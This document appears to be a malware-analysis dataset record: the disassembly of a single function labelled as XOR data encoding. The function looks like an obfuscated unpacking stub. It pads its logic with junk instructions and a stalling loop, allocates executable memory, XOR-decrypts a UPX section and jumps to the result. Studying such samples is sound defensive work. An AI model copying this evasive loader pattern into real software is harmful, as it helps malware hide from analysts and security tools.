Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7e8aa53d
sub edi, 0x3663c01c
inc ecx
popal
dec ecx
and ecx, ecx
not edi
mov edx, 0
mov ebx, edi
sub ecx, 0xff386e3a
add eax, 0x2ffa2c9f
and eax, ecx
mov esi, ebx
mov ecx, eax
mov eax, ecx
mov edi, esi
mov ecx, 0xa9a7f50c
mov ecx, eax
inc edx
mov eax, ecx
add ecx, 0x1ff56c65
add eax, 0x2039788b
cmp edx, 0x1007ffb
jne 0x47afd0
sub eax, 0xf4178aba
sub eax, 1
cmp edx, 0x1007ffb
je 0x47b025
mov ebx, 0
mov edx, dword [ebx]
and ecx, eax
sub eax, ecx
sub eax, ecx
sub edi, ecx
mov edi, 0x4f340915
mov eax, 0x47ada2
or esi, esi
sub ebx, ecx
not ecx
mov edi, 0x47af96
mov ecx, ebx
add esi, 0x763f54b7
mov edx, dword [eax]
add ebx, 0xff630441
inc esi
and edx, 0xff
not ecx
sub ecx, 0x8626c2a6
not esi
xor dword [edi], edx
sub ebx, 1
or ecx, ebx
inc edi
dec esi
or ecx, ecx
add eax, 1
add ecx, esi
add ecx, 0x19d6c686
cmp edi, entry0
jl 0x47b04a
mov esi, 0xe71dcf68
and ebx, ebx
add esi, esi
or ecx, ebx
dec edi
add edx, esi
mov edx, edi
mov ebx, 0x47af9a
sub edx, 0xe9627eba
not esi
mov ebx, dword [ebx]
add ecx, 0x344356ab
add edi, edx
dec edx
mov ebx, dword [ebx]
mov ecx, edi
add esi, 0x2dc4a860
add ecx, 1
push ebx
sub edi, edx
dec ecx
mov ebx, 0x47af96
sub esi, edx
not ecx
mov ebx, dword [ebx]
mov ecx, 0x9a798062
inc esi
mov ebx, dword [ebx]
add edi, 0x56d1b717
sub esi, 0x8b2d91ef
push 0x47af9e
not edi
add esi, 1
add edi, 1
call ebx
sub edi, esi
dec esi
sub edx, esi
mov ebx, dword [esp]
add esp, 4
or edx, edi
and edi, esi
sub ecx, edi
push 0x47afab
not esi
mov esi, edi
mov ecx, 0x23cc8d7b
sub esp, 4
mov dword [esp], eax
and edx, edx
add ecx, edx
mov esi, edx
call ebx
add edx, 1
add esi, 0x6d7885a4
sub ecx, 0xa2a1cc13
push 0x40
sub ecx, 0xa84690ed
add edi, esi
push 0x3000
mov esi, edx
add edi, 1
sub esp, 4
mov dword [esp], 0x20000f37
add edx, 1
add edi, ecx
sub edi, 0xdf20d7ee
push 0
mov edi, 0x221c5467
not edi
sub edx, 1
call eax
or edx, ecx
or edi, edi
add eax, 0x20000ec7
not edx
sub esi, 0x773a88de
mov ebx, 0x15fc8a06
mov edi, ecx
add edi, 0x6fa058e1
mov dword [eax], ebx
add edx, edi
mov edi, 0x74cecfbb
mov ebx, dword [eax]
sub edx, esi
and ecx, esi
cmp ebx, 0x15fc8a06
je 0x47b1bd
mov edx, 0
mov al, byte [edx]
not edx
dec edi
add edx, 0xa299ba34
and ecx, edi
sub esi, 0x61a45b97
or edi, edi
inc ecx
mov ebx, section.UPX1
not ecx
dec edi
mov esi, 0x47ada1
sub ecx, edi
not ecx
mov eax, 0
dec ecx
mov edi, ecx
mov edx, 0x47ada2
add edi, 1
and ecx, edi
sub ecx, edi
lea edx, [edx + eax]
or ecx, edi
add ecx, 0xd30b1c4e
sub edi, 0xef64d425
mov edx, dword [edx]
mov edi, 0x66469d71
mov ecx, 0xac8c8e3e
not ecx
and edx, 0xff
sub edi, 1
sub ecx, 0x9c677887
or ecx, ecx
inc eax
sub ecx, 0xbd38a66c
add ecx, ecx
cmp eax, 0x1f4
jne 0x47b242
mov eax, 0
mov ecx, 0xc6aa9187
mov edi, ecx
mov ecx, 0x321fd5c8
add edi, 0xe68dc343
and edi, edi
xor dword [ebx], edx
sub ecx, edi
not ecx
inc ecx
add ebx, 2
sub edi, ecx
sub ecx, 0x4c199c96
inc edi
cmp ebx, esi
jl 0x47b1ea
add edi, 0x3bbcb1ea
dec edi
add edi, 0xba6ab4df
sub ecx, 0xf5dec6d4
add ecx, 0x69613d6c
mov ecx, section.UPX1
or esi, esi
sub esi, 0x5dc9d110
mov edx, section.UPX1
mov edi, 0xfdd082b1
sub edi, 1
mov ebx, 0x47ada1
sub edi, 1
mov edi, 0xb852e171
inc esi
mov eax, 0
dec esi
sub edi, 0x2442768d
mov al, byte [edx]
not esi
sub esi, 1
mov byte [ecx], al
add edi, 0x4b011a9
not esi
inc ecx
add esi, esi
not edi
mov esi, 0x931bfaa2
add edx, 2
or edi, edi
or edi, esi
cmp edx, ebx
jle 0x47b2c7
sub esi, 0x4a43e4a4
inc edi
inc edi
not edi
add ecx, 0x3d0db098
push 0x45e6a0
or ecx, edi
mov ecx, 0xe364f886
ret